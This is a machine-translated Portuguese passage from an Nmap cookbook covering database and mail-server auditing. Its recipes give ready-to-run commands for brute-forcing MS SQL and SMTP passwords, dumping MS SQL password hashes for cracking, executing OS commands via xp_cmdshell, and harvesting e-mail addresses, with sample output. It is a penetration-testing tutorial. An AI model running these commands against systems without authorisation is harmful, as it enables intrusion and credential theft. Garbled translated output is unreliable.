Esta receita mostra como executar auditoria de senha de força bruta de servidores MS SQL usando o
Nmap.

Como fazer isso...

Para executar a auditoria de senha de força bruta em um servidor MS SQL, execute o seguinte
Comando Nmap:

$ nmap -p1433 --script ms-sql-brute <alvo>

159

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Se alguma conta válida for encontrada, ela será incluída na seção de saída do script:

PORTA SERVIÇO DE ESTADO

1433/tcp abre ms-sql-s

| ms-sql-bruto: | | |_
[192.168.1.102:1433]

Credenciais encontradas:

em:<vazio>

Como funciona...
Os servidores MS SQL geralmente são executados na porta TCP 1433. Os argumentos -p1433 --
script ms-sql-brute iniciam o script NSE ms-sql-brute se um servidor MS SQL for encontrado em
execução na porta 1433.

O script ms-sql-brute foi escrito por Patrik Karlsson. Ele executa auditoria de senha de força bruta em bancos
de dados MS SQL. Este script depende da biblioteca mssql. Você pode aprender mais sobre isso em http://
nmap.org/nsedoc/lib/mssql.html.

Tem mais...
O servidor de banco de dados pode estar executando em uma porta não padrão. Você pode definir
a porta manualmente especificando o argumento -p ou usando a detecção de serviço do Nmap:

$ nmap -sV --script ms-sql-brute <alvo>$ nmap -p1234 --script ms-sql brute <alvo>

Lembre-se de que, se uma porta SMB estiver aberta, podemos usar pipes para executar este script
definindo o argumento mssql.instance-all ou mssql.instance-name:

$ nmap -p445 --script ms-sql-brute --script-args mssql.instance-all <destino>

A saída é a seguinte:

PORTA SERVIÇO DE ESTADO

445/tcp aberto microsoft-ds

Resultados do script de host:

| ms-sql-bruto: | | |_
[192.168.1.102\MSSQLSERVER]
Credenciais encontradas:

para:<empty> => Login com sucesso

160

www.it-ebooks.info
Machine Translated by Google

capítulo 5

O script ms-sql-brute depende das bibliotecas NSE unpwdb e brute. Essas bibliotecas têm vários argumentos de script
que podem ser usados para ajustar sua auditoria de senha de força bruta.

f Para usar listas de nome de usuário e senha diferentes, defina os argumentos userdb e
passdb:
$ nmap -p1433 --script ms-sql-brute --script-args userdb=/var/
usernames.txt,passdb=/var/passwords.txt <destino>

f Para sair depois de encontrar uma conta válida, use o argumento brute.firstOnly:
$ nmap -p1433 --script ms-sql-brute --script-args brute.firstOnly <alvo>

f Para definir um limite de tempo limite diferente, use o argumento unpwd.timelimit. Para executá-lo
indefinidamente, defina-o como 0:

$ nmap -p1433 --script ms-sql-brute --script-args unpwdb.timelimit=0


<alvo>$ nmap -p1433 --script ms-sql-brute --script-args
unpwdb.timelimit=60m <alvo>

modos brutos
A biblioteca bruta suporta diferentes modos que alteram as combinações de nome de usuário/senha usadas no
ataque. Os modos disponíveis são:

f user: Para cada usuário listado em userdb, todas as senhas em passdb serão tentadas
$ nmap --script ms-sql-brute --script-args brute.mode=user <alvo>

f pass: Para cada senha listada em passdb, todos os usuários em userdb serão tentados
$ nmap --script ms-sql-brute --script-args brute.mode=pass <alvo>

f creds: Isso requer o argumento adicional brute.credfile

$ nmap --script ms-sql-brute --script-args


brute.mode=creds,brute.credfile=./creds.txt <alvo>

Veja também

f A receita de recuperação de informações do servidor MS SQL f A

receita de despejo dos hashes de senha de um servidor MS SQL

f A receita Executando comandos através do shell de comando nos servidores MS SQL

f A receita Encontrando contas de administrador de sistema com senhas vazias em servidores MS SQL

161

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Despejando os hashes de senha de um


Servidor MS SQL
Depois de obter acesso a um servidor MS SQL, podemos despejar todos os hashes de senha de um servidor
MS SQL para comprometer outras contas. O Nmap pode nos ajudar a recuperar esses hashes em um
formato utilizável pela ferramenta de cracking, John the Ripper.

Esta receita mostra como despejar hashes de senha crackable de um servidor MS SQL com o Nmap.

Como fazer isso...


Para despejar todos os hashes de senha de um servidor MS SQL com uma senha sysadmin vazia,
execute o seguinte comando Nmap:

$ nmap -p1433 --script ms-sql-empty-password,ms-sql-dump-hashes <destino>

Os hashes de senha serão incluídos na seção de saída do script ms-sql-dump-hashes :

PORTA VERSÃO DE SERVIÇO DE ESTADO

1433/tcp abrir ms-sql-s Microsoft SQL Server 2011

Informações do serviço: CPE: cpe:/o:microsoft:windows

Resultados do script de host:

| ms-sql-senha-vazia: | |_ | ms-sql-
[192.168.1.102\MSSQLSERVER]
dump-hashes: |
para:<empty> => Login com sucesso
[192.168.1.102\MSSQLSERVER]

|
sa:0x020039AE3752898DF2D260F2D4DC7F09AB9E47BAB2EA3E1A472F49520C26E206
D0613E34E92BF929F53C463C5B7DED53738A7FC0790DD68CF1565469207A50F98998C
7E5C610

|
##MS_PolicyEventProcessingLogin##:0x0200BB8897EC23F14FC9FB8BFB0A96B2F
541ED81F1103FD0FECB94D269BE15889377B69AEE4916307F3701C4A61F0DFD994620
9258A4519FE16D9204580068D2011F8FBA7AD4

|_
##MS_PolicyTsqlExecutionLogin##:0x0200FEAF95E21A02AE55D76F68067DB02DB
59AE84FAD97EBA7461CB103361598D3683688F83019E931442EC3FB6342050EFE6ACE
4E9568F69D4FD4557C2C443243E240E66E10

162

www.it-ebooks.info
Machine Translated by Google

capítulo 5

Como funciona...
Os servidores MS SQL geralmente são executados na porta TCP 1433. O argumento -p1433 --script ms-
sql empty-password,ms-sql-dump-hashes inicia o script ms-sql-empty-password, que encontra uma conta
de administrador de sistema raiz vazia, e, em seguida, executa o script ms-sql-dump-hashes se um
servidor MS SQL for encontrado em execução na porta 1433.

O script ms-sql-dump-hashes foi escrito por Patrik Karlsson e sua função é recuperar hashes de
senha de servidores MS SQL em um formato utilizável por ferramentas de cracking como John the
Ripper. Este script depende da biblioteca mssql . Você pode aprender mais sobre isso em http://
nmap.org/nsedoc/lib/mssql.html.

Tem mais...
Se uma porta SMB estiver aberta, você pode usá-la para executar este script usando pipes definindo os
argumentos mssql.instance-all ou mssql.instance-name:

PORTA SERVIÇO DE ESTADO

445/tcp aberto microsoft-ds

Resultados do script de host:

| ms-sql-senha-vazia: |

[192.168.1.102\MSSQLSERVER]
ms-sql-dump-hashes: | |_ |
para:<empty> => Login |com sucesso
[192.168.1.102\MSSQLSERVER]

sa:0x020039AE3752898DF2D260F2D4DC7F09AB9E47BAB2EA3E1A472F49520C26E206
D0613E34E92BF929F53C463C5B7DED53738A7FC0790DD68CF1565469207A50F98998C
7E5C610

|
##MS_PolicyEventProcessingLogin##:0x0200BB8897EC23F14FC9FB8BFB0A96B2F
541ED81F1103FD0FECB94D269BE15889377B69AEE4916307F3701C4A61F0DFD994620
9258A4519FE16D9204580068D2011F8FBA7AD4

|_
##MS_PolicyTsqlExecutionLogin##:0x0200FEAF95E21A02AE55D76F68067DB02DB
59AE84FAD97EBA7461CB103361598D3683688F83019E931442EC3FB6342050EFE6ACE
4E9568F69D4FD4557C2C443243E240E66E10

163

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Veja também

f A receita de recuperação de informações do servidor MS SQL

f A receita de senhas MS SQL de força bruta

f A receita Executando comandos através do shell de comando em servidores MS SQL f A receita

Encontrando contas de administrador de sistema com senhas vazias em servidores MS SQL

Executando comandos por meio do shell de


comando em servidores MS SQL
Os servidores MS SQL têm um procedimento armazenado chamado xp_cmdshell. Esse recurso permite
que os programadores executem comandos por meio do servidor MS SQL. O Nmap nos ajuda a executar
comandos de shell personalizados quando esta opção está habilitada.

Esta receita mostra como executar comandos do Windows através de servidores MS SQL usando o Nmap.

Como fazer isso...

Abra seu terminal e digite o seguinte comando Nmap:

$ nmap --script-args 'mssql.username="<usuário>",mssql.password=""' --script ms-sql-xp-cmdshell


-p1433 <alvo>

Os resultados serão incluídos na seção de saída do script:

PORTA VERSÃO DE SERVIÇO DE ESTADO

1433/tcp abrir ms-sql-s Microsoft SQL Server 2011 11.00.1750.00 | ms-sql-xp-cmdshell: | | | | | | | |

[192.168.1.102:1433]
Comando: net user

saída
======

Contas de usuário para \\

-------------------------------------------------- ---------------

--------------

Administrador cldrn Convidado

postgres O
comando foi concluído com um ou mais erros.

| | | | |_

164

www.it-ebooks.info
Machine Translated by Google

capítulo 5

Como funciona...
Os servidores MS SQL geralmente são executados na porta TCP 1433. O argumento --script-args
'mssql. username="<usuário>",mssql.password=""' --script ms-sql-xp-cmdshell -p1433 faz o Nmap
iniciar o script ms-sql-xp-cmdshell e então define as credenciais de autenticação a serem usadas
se um O servidor MS SQL está sendo executado na porta 1433.

O script ms-sql-xp-cmdshell foi escrito por Patrik Karlsson. Ele tenta executar um comando do
sistema operacional por meio do procedimento armazenado xp_cmdshell encontrado nos servidores
MS SQL. Este script depende da biblioteca mssql . Sua documentação pode ser encontrada em http://
nmap.org/nsedoc/lib/mssql.html.

Tem mais...
Por padrão, ms-sql-xp-cmdshell tentará executar o comando ipconfig /all, mas você pode especificar
um diferente usando o argumento de script ms-sql-xp-cmdshell.cmd:

$ nmap --script-args 'ms-sql-xp


cmdshell.cmd="<comando>",mssql.username="<usuário>",mssql.password=""' --script ms-sql-xp-
cmdshell -p1433 <alvo>

Se o servidor não tiver o procedimento xp_cmdshell habilitado, você deverá ver a seguinte
mensagem:

| ms-sql-xp-cmdshell: | (Use --

script-args=ms-sql-xp-
cmdshell.cmd='<CMD>' para alterar o comando.)

[192.168.1.102\MSSQLSERVER]

| |_ Procedimento xp_cmdshell desabilitado. Para obter mais informações, consulte "Configuração


da Área de Superfície" nos Manuais Online.

Se você não forneceu nenhuma credencial válida para autenticação, a seguinte mensagem será
exibida:

| ms-sql-xp-cmdshell: | |_
[192.168.1.102:1433]

ERRO: Sem credenciais de login.

Lembre-se de que você pode usar este script em combinação com ms-sql-empty-password para
recuperar automaticamente a configuração de rede de um servidor MS SQL com uma conta sysadmin
com uma senha vazia:

$ nmap --script ms-sql-xp-cmdshell,ms-sql-empty-password -p1433 <alvo>

165

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Veja também

f A receita de recuperação de informações do servidor MS SQL

f A receita de senhas MS SQL de força bruta

f A receita Despejando os hashes de senha de um servidor MS SQL f A receita

Encontrando contas de administrador de sistema com senhas vazias em servidores MS SQL

Encontrando contas de administrador de sistema


com senhas vazias em servidores MS SQL
Os testadores de penetração geralmente precisam verificar se nenhuma conta administrativa possui uma senha fraca.
Com alguma ajuda do Nmap NSE, podemos verificar facilmente se nenhum host (ou hosts) possui uma conta de
administrador de sistema com uma senha vazia.

Esta receita nos ensina como usar o Nmap para encontrar servidores MS SQL com uma senha de
administrador de sistema vazia.

Como fazer isso...

Para encontrar servidores MS SQL com uma conta sa vazia , abra seu terminal e digite o seguinte comando
Nmap:

$ nmap -p1433 --script ms-sql-empty-password -v <alvo>

Se uma conta com uma senha vazia for encontrada, ela será incluída na seção de saída do script:

PORTA SERVIÇO DE ESTADO

1433/tcp abre ms-sql-s

| ms-sql-senha-vazia: | |_
[192.168.1.102:1433]

para:<empty> => Login com sucesso

Como funciona...

O parâmetro -p1433 --script ms-sql-empty-password faz com que o Nmap inicie o script NSE ms-sql-empty-password se
um servidor MS SQL for encontrado em execução na porta 1433.

166

www.it-ebooks.info
Machine Translated by Google

capítulo 5

O script ms-sql-empty-password foi enviado por Patrik Karlsson e aprimorado por Chris Woodbury. Ele tenta se
conectar a um servidor MS SQL usando o nome de usuário sa (a conta sysadmin) e uma senha vazia.

Tem mais...

Se a porta 445 estiver aberta, você pode usá-la para recuperar informações por meio de pipes. É necessário definir
os argumentos mssql.instance-name ou mssql.instance-all:

$ nmap -sV --script-args mssql.instance-name=MSSQLSERVER --script ms-sql-empty-password


-p445 -v <alvo>

$ nmap -sV --script-args mssql.instance-all --script ms-sql-empty-password


-p445 -v <alvo>

A saída será a seguinte:

PORTA SERVIÇO DE ESTADO VERSÃO

445/tcp aberto netbios-ssn

Resultados do script de host:


| ms-sql-senha-vazia: |
[192.168.1.102\MSSQLSERVER] |_
para:<empty> => Login com sucesso

Forçar portas verificadas apenas em scripts NSE para MS SQL


Os scripts NSE ms-sql-brute, ms-sql-config.nse, ms-sql-empty-password, ms sql-
hasdbaccess.nse,ms-sql-info.nse, ms-sql-query.nse, ms-sql-tables. nse e ms-sql-xp-
cmdshell.nse podem tentar se conectar a portas que não foram incluídas em sua
verificação. Para limitar o NSE a usar apenas portas verificadas, use o argumento
mssql.scanned ports-only:

$ nmap -p1433 --script-args mssql.scanned-ports-only --script ms-sql-* -v <alvo>

Veja também

f A receita de recuperação de informações do servidor MS SQL

f A receita de senhas do MS SQL de força bruta f A receita

de despejo dos hashes de senha de uma receita do servidor MS SQL

f A receita Executando comandos através do shell de comando nos servidores MS SQL

167

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Listando bancos de dados MongoDB


O MongoDB pode conter vários bancos de dados em uma única instalação. Listar bancos de dados é útil
tanto para administradores de sistema quanto para testadores de penetração, e há um script NSE que permite
fazer isso facilmente e até mesmo de maneira automatizada.

Esta receita descreve como usar o Nmap para listar bancos de dados no MongoDB.

Como fazer isso...


Para listar os bancos de dados MongoDB usando o Nmap, digite o seguinte comando:

$ nmap -p 27017 --script mongodb-databases <alvo>

Os bancos de dados serão mostrados na seção de saída do script:

PORTA SERVIÇO DE ESTADO

27017/tcp abrir mongodb | bancos

de dados mongodb:

| ok = 1

| bases de dados | | |

| | | | | | | | |1| | | | |_

tamanho totalvazio
= 0 = verdadeiro

tamanhoNoDisk = 1

nome = local

vazio = verdadeiro
tamanhoNoDisk = 1

nome = administrador

vazio = verdadeiro
tamanhoNoDisk = 1

nome = teste

vazio = verdadeiro
tamanhoNoDisk = 1

nome = nice%20ports%2C

168

www.it-ebooks.info
Machine Translated by Google

capítulo 5

Como funciona...
Iniciamos o script NSE mongodb-databases se um servidor MongoDB for encontrado em execução na
porta 27017 (-p 27017 --script mongodb-databases).

O script mongodb-databases foi enviado por Martin Holst Swende e tenta listar todos os bancos de dados
em uma instalação do MongoDB.

Tem mais...
A documentação do MongoDB está localizada em http://www.mongodb.org/display/DOCS/Home.

Este script depende da biblioteca mongodb e sua documentação pode ser encontrada em http://
nmap.org/nsedoc/lib/mongodb.html.

Veja também

f A receita Recuperando informações do servidor MongoDB

Recuperando informações do servidor MongoDB


Durante uma avaliação de segurança para uma instalação do MongoDB, é possível extrair
informações de compilação, como detalhes do sistema e status do servidor, incluindo o número de
conexões disponíveis, tempo de atividade e uso de memória.

Esta receita descreve como recuperar informações do servidor de uma instalação do MongoDB usando
o Nmap.

Como fazer isso...


Abra seu terminal e digite o seguinte comando Nmap:

# nmap -p 27017 --script mongodb-info <alvo>

As informações do servidor MongoDB serão incluídas na seção de saída do script:

PORTA SERVIÇO DE ESTADO

27017/tcp abre mongodb

| mongodb-info:
| Informações de compilação do MongoDB

||| ok = 1
bits = 64
versão = 1.2.2

169

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

gitVersion = nogitversion
|| sysInfo = Linux crested 2.6.24-27-server #1 SMP Sex 12 de março 01:23:09
UTC 2010 x86_64 BOOST_LIB_VERSION=1_40
| Estado do servidor | | | | | |

| | | | |_ mem
residente = 4
virtuais = 171

suportado = verdadeiro
mapeado = 0
ok = 1

bloqueio global
proporção = 3,3333098126169e-05

lockTime = 28046
totalTime = 841385937

tempo de atividade = 842

Como funciona...
O argumento -p 27017 --script mongodb-info faz com que o Nmap inicie o script NSE mongodb-info se o serviço for
encontrado em execução na porta 27017.

O script mongodb-info foi escrito por Martin Holst Swende. Ele retorna informações do servidor, incluindo status e
detalhes de construção para um banco de dados MongoDB.

Tem mais...
A documentação do MongoDB está localizada em http://www.mongodb.org/display/DOCS/Home.

Este script depende da biblioteca mongodb e sua documentação pode ser encontrada em http://nmap.org/
nsedoc/lib/mongodb.html.

Veja também

f A receita de listagem de bancos de dados MongoDB

Listando bancos de dados CouchDB


As instalações do CouchDB podem conter vários bancos de dados. O Nmap fornece uma maneira fácil de listar os
bancos de dados disponíveis para testadores de penetração ou administradores de sistema que podem precisar
monitorar bancos de dados não autorizados.

Esta receita mostrará como listar bancos de dados em servidores CouchDB usando o Nmap.

170

www.it-ebooks.info
Machine Translated by Google

capítulo 5

Como fazer isso...


Para listar todos os bancos de dados em uma instalação do CouchDB com Nmap, digite o seguinte comando:

# nmap -p5984 --script couchdb-databases <alvo>

Os resultados incluirão todos os bancos de dados retornados pelo CouchDB na seção de saída couchdb-databases :

PORTA VERSÃO DE SERVIÇO DE ESTADO

5984/tcp aberto httpd Apache CouchDB 0.10.0 (Erlang OTP/R13B)


| banco de dados couchdb:
1 = nmap
| |_ 2 = packtpub

Como funciona...
O argumento -p5984 --script couchdb-databases informa ao Nmap para iniciar o script NSE couchdb-databases
se um serviço CouchDB HTTP for encontrado em execução na porta 5984.

O script couchdb-databases foi escrito por Martin Holst Swende e lista todos os bancos de dados disponíveis nos
serviços CouchDB. Ele consulta o URI /_all_dbs e extrai as informações dos dados retornados:

["nmap","packtpub"]

Tem mais...
Você pode encontrar mais informações sobre a API usada pelo CouchDB HTTP visitando http://
wiki.apache.org/couchdb/HTTP_database_API.

Veja também

f A receita de estatísticas do banco de dados Recuperando CouchDB

Recuperando estatísticas do banco de dados CouchDB


Os servidores CouchDB HTTP podem retornar estatísticas valiosas para administradores de sistema. Essas
informações incluem solicitações por segundo, tamanhos e outras estatísticas úteis. Felizmente para nós, o Nmap
fornece uma maneira fácil de recuperar essas informações.

Esta receita descreve como recuperar estatísticas de banco de dados para o serviço CouchDB HTTP usando
o Nmap.

171

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Como fazer isso...


Abra seu terminal e execute o Nmap com os seguintes argumentos:

# nmap -p5984 --script couchdb-stats 127.0.0.1

Os resultados serão incluídos na seção de saída do script:


PORTA SERVIÇO DE ESTADO

5984/tcp abrir httpd

| couchdb-stats:

| httpd_request_methods | | | | | | |

couchdb PUT (número de


| request_time solicitações HTTP PUT)
(comprimento
atual =dentro
de uma requisição 2 do CouchDB

sem contagem = 970

GET (número de solicitações HTTP GET)


atual = 52

contagem = 1208

MochiWeb)

| atual = 1

contagem = 54

open_databases (número de bancos de dados abertos)


atual = 2

contagem = 970

open_os_files (número de descritores de arquivo que o CouchDB abriu)


atual = 2

contagem = 970

| | | | | | | | httpd_status_codes | |
|||| 200 (número de respostas HTTP 200 OK)
atual = 27

contagem = 1208

201 (número de respostas HTTP 201 criadas)


atual = 2

contagem = 970

172

www.it-ebooks.info
Machine Translated by Google

capítulo 5

301 (número de respostas HTTP 301 Movido permanentemente)


atual = 1
contagem = 269

500 (número de respostas HTTP 500 Internal Server Error)


atual = 1
contagem = 274

| | | | | | | httpd

||| solicitações (número de solicitações HTTP)


atual = 54
contagem = 1208

|_ Autenticação: NÃO habilitada ('admin party')

Como funciona...

O argumento -p5984 --script couchdb-stats informa ao Nmap para iniciar o script NSE couchdb-stats se um
servidor CouchDB HTTP estiver em execução.

O script couchdb_stats foi enviado por Martin Holst Swende e executa apenas uma tarefa: recuperar as estatísticas
de tempo de execução de um serviço CouchDB HTTP. Ele faz isso solicitando o URI /_stats/ e analisando os dados
serializados retornados pelo servidor:

{"current":1,"count":50,"mean":14.28,"min":0,"max":114,"stddev":30.400 68420282675,"description":"comprimento
de uma requisição dentro do CouchDB sem MochiWeb"}

Tem mais...

Se você encontrar uma instalação não protegida por autenticação, também deverá inspecionar os
seguintes URIs:

f /_utils/ f /
_utils/status.html
f /_utils/config.html
Você pode aprender mais sobre as estatísticas de tempo de execução nos servidores CouchDB
HTTP em http://wiki.apache.org/couchdb/Runtime_Statistics.

Veja também

f A receita de listagem de bancos de dados CouchDB

173

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

Auditoria de servidores de correio


6
Este capítulo mostra como fazer algumas coisas que, em muitas situações,
podem ser ilegais, antiéticas, uma violação dos termos de serviço ou
simplesmente não ser uma boa ideia. Ele é fornecido aqui para fornecer
informações que podem ser úteis para se proteger contra ameaças e tornar
seu próprio sistema mais seguro. Antes de seguir estas instruções, certifique-
se de estar do lado certo da linha legal e ética... use seus poderes para o bem!

Neste capítulo, abordaremos:

f Descobrir contas de e-mail válidas usando a Pesquisa do


Google f Detectar relés abertos f Forçar brutalmente senhas
SMTP f Enumerar usuários em um servidor SMTP f Detectar
servidores SMTP backdoor f Forçar brutalmente senhas IMAP

f Recuperando os recursos de um servidor de e-mail IMAP


f Brute forçando senhas POP3 f
Recuperando os recursos de um servidor de correio
POP3 f Detectando servidores Exim SMTP vulneráveis versão 4.70 a 4.75

www.it-ebooks.info
Machine Translated by Google

Auditoria de servidores de correio

Introdução

Os servidores de correio estão disponíveis em quase todas as organizações porque o e-mail se tornou o
canal de comunicação preferido por razões óbvias. A importância dos servidores de correio depende das
informações armazenadas neles. Os invasores geralmente comprometem uma conta de e-mail e passam a
controlar todas as outras contas encontradas usando a funcionalidade "Esqueci a senha" disponível em quase todos
os aplicativos da web. Às vezes, as contas comprometidas são simplesmente espionadas por meses sem que ninguém
perceba e podem até ser abusadas por spammers.
Portanto, qualquer bom administrador de sistema sabe que é essencial ter um servidor de correio seguro.

Neste capítulo, passarei por diferentes tarefas do NSE para administrar e monitorar servidores de correio.
Também mostrarei o lado ofensivo disponível para testadores de penetração. Abordaremos os protocolos de
correio mais populares, como SMTP, POP3 e IMAP.

Analisaremos tarefas como recuperação de recursos, enumeração de usuários, força bruta de senhas e
até mesmo exploração de servidores Exim vulneráveis. Por fim, você também aprenderá como usar o Nmap
para coletar automaticamente as contas de e-mail de mecanismos de pesquisa, como o Google Web e os Grupos
do Google, para coletar contas de e-mail válidas que podemos usar em ataques de força bruta.

Descobrindo contas de e-mail válidas usando


Pesquisa do Google
Encontrar contas de e-mail válidas é uma tarefa importante durante um teste de penetração. As contas de e-mail
costumam ser usadas como nomes de usuário em alguns sistemas e aplicativos da web. Os invasores geralmente
visam as informações altamente confidenciais armazenadas neles.

Esta receita mostra como usar o Nmap para descobrir contas de e-mail válidas que podem ser usadas como
nomes de usuário em alguns aplicativos da Web ou durante a auditoria de senha de força bruta, para
encontrar credenciais fracas.

Preparando-se
Para esta tarefa, precisamos de um script NSE que não seja distribuído oficialmente com o Nmap. Baixe o script
NSE http-google-search.nse de http://seclists.org/nmap-dev/2011/q3/att-401/http-google-email.nse.

Atualize seu banco de dados de scripts NSE executando o seguinte comando:

# nmap --script-updatedb

A seguinte mensagem será exibida:

NSE: Atualizando o banco de dados de regras.

NSE: banco de dados de scripts atualizado com sucesso.

176

www.it-ebooks.info
Machine Translated by Google

Capítulo 6

Como fazer isso...


Para encontrar contas de e-mail válidas usando a Pesquisa do Google e os Grupos do Google usando o
Nmap, digite o seguinte comando:

$ nmap -p80 --script http-google-email <alvo>

Todas as contas de e-mail encontradas serão incluídas na seção de saída do script:

$ nmap -p80 --script http-google-email insecure.org


SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto | http-

google-e-mail: |

fyodor@insecure.org |_nmap-

hackers@insecure.org

Como funciona...
O script NSE http-google-email foi escrito por Shinook. Ele usa os mecanismos de pesquisa Google Web e
Grupos do Google para encontrar contas de e-mail públicas armazenadas em cache por esses serviços.

O script consulta os seguintes URIs para obter os resultados:

f http://www.google.com/search
f http://groups.google.com/groups

O argumento -p80 --script http-google-email diz ao Nmap para iniciar o script NSE http-google-email se um
servidor web for encontrado na porta 80.

Tem mais...
Para mostrar apenas resultados pertencentes a determinado nome de host, use o argumento
de script http-google-email.domain:

$ nmap -p80 --script http-google-email --script-args http-google-


email.domain=<hostname> <target>

Para aumentar o número de páginas a serem rastreadas, use o argumento de script http-google
email.pages. Por padrão, esse script solicita apenas cinco páginas:

$ nmap -p80 --script http-google-email --script-args http-google-email.pages=10


<alvo>

177

www.it-ebooks.info
Machine Translated by Google

Auditoria de servidores de correio

Depurando scripts NSE Se algo


inesperado acontecer ao executar qualquer um dos scripts NSE, ative a depuração para obter
informações adicionais. O Nmap usa o sinalizador -d para depuração e você pode definir qualquer
inteiro entre 0 e 9:

$ nmap -p80 --script http-google-email -d4 <alvo>

Veja também

f A receita de senhas SMTP de força bruta f A


receita de Enumeração de usuários em um servidor SMTP f
A receita de senhas IMAP de força bruta f A receita de
senhas POP3 de força bruta

Detectando relés abertos


Open relays são servidores de e-mail inseguros que permitem que domínios de terceiros os usem
sem autorização. Eles são abusados por spammers e phishers e representam um sério risco para as
organizações porque as listas negras de spam públicas podem adicioná-los e afetar toda a organização,
que depende dos e-mails chegarem ao seu destino.

Esta receita mostra como detectar relés abertos usando o Nmap.

Como fazer isso...

Abra seu terminal e digite o seguinte comando:

$ nmap -sV --script smtp-open-relay -v <alvo>

A saída retorna o número de testes aprovados e a combinação de comandos usada:

Resultados do script de host:


| smtp-open-relay: O servidor é um retransmissor aberto (1/16 testes)
|_MAIL FROM:<antispam@insecure.org> -> RCPT
TO:<relaytest@insecure.org>

Como funciona...

O script smtp-open-relay foi enviado por Arturo 'Buanzo' Busleiman e tenta 16 testes diferentes para
determinar se um servidor SMTP permite retransmissão aberta. Se o modo detalhado estiver ativado, ele
também retornará os comandos que retransmitiram os e-mails com sucesso.

A combinação de comandos é codificada no script e os testes consistem em diferentes formatos de string


para o destino e o endereço de origem:

178

www.it-ebooks.info
Machine Translated by Google

Capítulo 6

E-MAIL DE:<user@domain.com>

250 Endereço Ok.

RCPT TO:<user@adomain.com>

250 usuario@domínio.com OK

Se uma resposta 503 for recebida, o script será encerrado, pois isso significa que esse servidor está protegido
por autenticação e não é uma retransmissão aberta.

O script smtp-open-relay é executado se as portas 25, 465 e 587 estiverem abertas ou


se os serviços smtp, smtps ou envio forem encontrados no host de destino (-sV --script
smtp-open-relay).

Tem mais...

Você pode especificar um endereço IP alternativo ou nome de domínio especificando os argumentos de


script smtp-open-relay.ip e smtp-open-relay.domain:

$ nmap -sV --script smtp-open-relay -v --script-args smtp-open-relay.ip=<ip> <alvo>

$ nmap -sV --script smtp-open-relay -v --script-args smtp-open-relay.domain=<domínio> <alvo>

Especifique os endereços de e-mail de origem e destino usados nos testes especificando os argumentos de
script smtp-open-relay.to e smtp-open-relay.from, respectivamente:

$ nmap -sV --script smtp-open-relay -v --script-args smtp-open-relay.to=<endereço de e-mail de


destino>,smtp-open relay.from=<endereço de e-mail de origem> <alvo>

Depurando scripts NSE Se algo


inesperado acontecer ao executar qualquer um dos scripts NSE, ative a depuração para obter informações
adicionais. O Nmap usa o sinalizador -d para depuração e você pode definir qualquer inteiro entre 0 e 9:

$ nmap -p80 --script http-google-email -d4 <alvo>

Veja também

f A receita Descobrir contas de e-mail válidas usando a Pesquisa do Google f A


receita Enumerar usuários em um servidor SMTP f A receita Detectar servidores
SMTP backdoor f A receita Recuperar os recursos de um servidor de correio IMAP
f A receita Recuperar os recursos de um servidor de correio POP3 f A receita
Detectando servidores Exim SMTP vulneráveis versão 4.70 a 4.75

179

www.it-ebooks.info
Machine Translated by Google

Auditoria de servidores de correio

Senhas SMTP de força bruta


Os servidores de correio geralmente armazenam informações muito confidenciais, e os testadores de penetração
precisam realizar auditoria de senha de força bruta contra eles para verificar senhas fracas.

Esta receita mostrará como iniciar ataques de dicionário contra servidores SMTP usando o Nmap.

Como fazer isso...


Para iniciar um ataque de dicionário contra um servidor SMTP usando o Nmap, digite o seguinte
comando:

$ nmap -p25 --script smtp-brute <alvo>

Se alguma credencial válida for encontrada, ela será incluída na seção de saída do script:

PORTA MOTIVO DE SERVIÇO ESTADUAL

25/tcp abrir stmp | smtp- vista-oh


bruto:
| Contas | | | |
acc0:test - Credenciais válidas
acc1:test - Credenciais válidas
acc3:password - Credenciais válidas
acc4:12345 - Credenciais válidas
| Estatísticas |_
Realizou 3190 palpites em 81 segundos, tps médio: 39

Como funciona...
O script NSE smtp-brute foi enviado por Patrik Karlsson. Ele executa auditoria de senha
de força bruta em servidores SMTP. Ele suporta os seguintes métodos de autenticação: LOGIN,
PLAIN, CRAM-MD5, DIGEST-MD5 e NTLM.

Por padrão, o script usa as listas de palavras /nselib/data/usernames.lst e /nselib/data/passwords.lst, mas pode
ser facilmente alterado para usar listas de palavras alternativas.

O argumento -p25 --script smtp-brute faz com que o Nmap inicie o script NSE smtp-brute se um servidor
SMTP for encontrado rodando na porta 25.

Tem mais...
O script smtp-brute depende das bibliotecas NSE unpwdb e brute. Essas bibliotecas têm vários argumentos de
script que podem ser usados para ajustar sua auditoria de senha de força bruta.

180

www.it-ebooks.info
Machine Translated by Google

Capítulo 6

f Para usar listas de nome de usuário e senha diferentes, defina os argumentos userdb
e passdb:
$ nmap -p25 --script smtp-brute --script-args userdb=/var/
usernames.txt,passdb=/var/passwords.txt <destino>

f Para sair depois de encontrar uma conta válida, use o argumento brute.firstOnly:
$ nmap -p25 --script smtp-brute --script-args brute.firstOnly <alvo>

f Para definir um limite de tempo limite diferente, use o argumento unpwd.timelimit.


Para executá-lo indefinidamente, defina-o como 0:

$ nmap -p25 --script smtp-brute --script-args unpwdb.timelimit=0


<alvo>

$ nmap -p25 --script smtp-brute --script-args unpwdb.timelimit=60m


<alvo>

modos brutos
A biblioteca bruta suporta diferentes modos que alteram as combinações de nome de usuário/senha
usadas no ataque. Os modos disponíveis são:

f user: Para cada usuário listado em userdb, todas as senhas em passdb serão tentadas
$ nmap --script smtp-brute --script-args brute.mode=user <alvo>

f pass: Para cada senha listada em passdb, todos os usuários em userdb serão tentados
$ nmap --script smtp-brute --script-args brute.mode=pass <alvo>

f creds: Isso requer o argumento adicional brute.credfile

$ nmap --script smtp-brute --script-args


brute.mode=creds,brute.credfile=./creds.txt <alvo>

Depurando scripts NSE Se algo


inesperado acontecer ao executar qualquer um dos scripts NSE, ative a depuração para obter
informações adicionais. O Nmap usa o sinalizador -d para depuração e você pode definir qualquer
inteiro entre 0 e 9:

$ nmap -p80 --script http-google-email -d4 <alvo>

181

www.it-ebooks.info
Machine Translated by Google

Auditoria de servidores de correio

Veja também

f A receita Descobrindo contas de e-mail válidas usando a Pesquisa Google

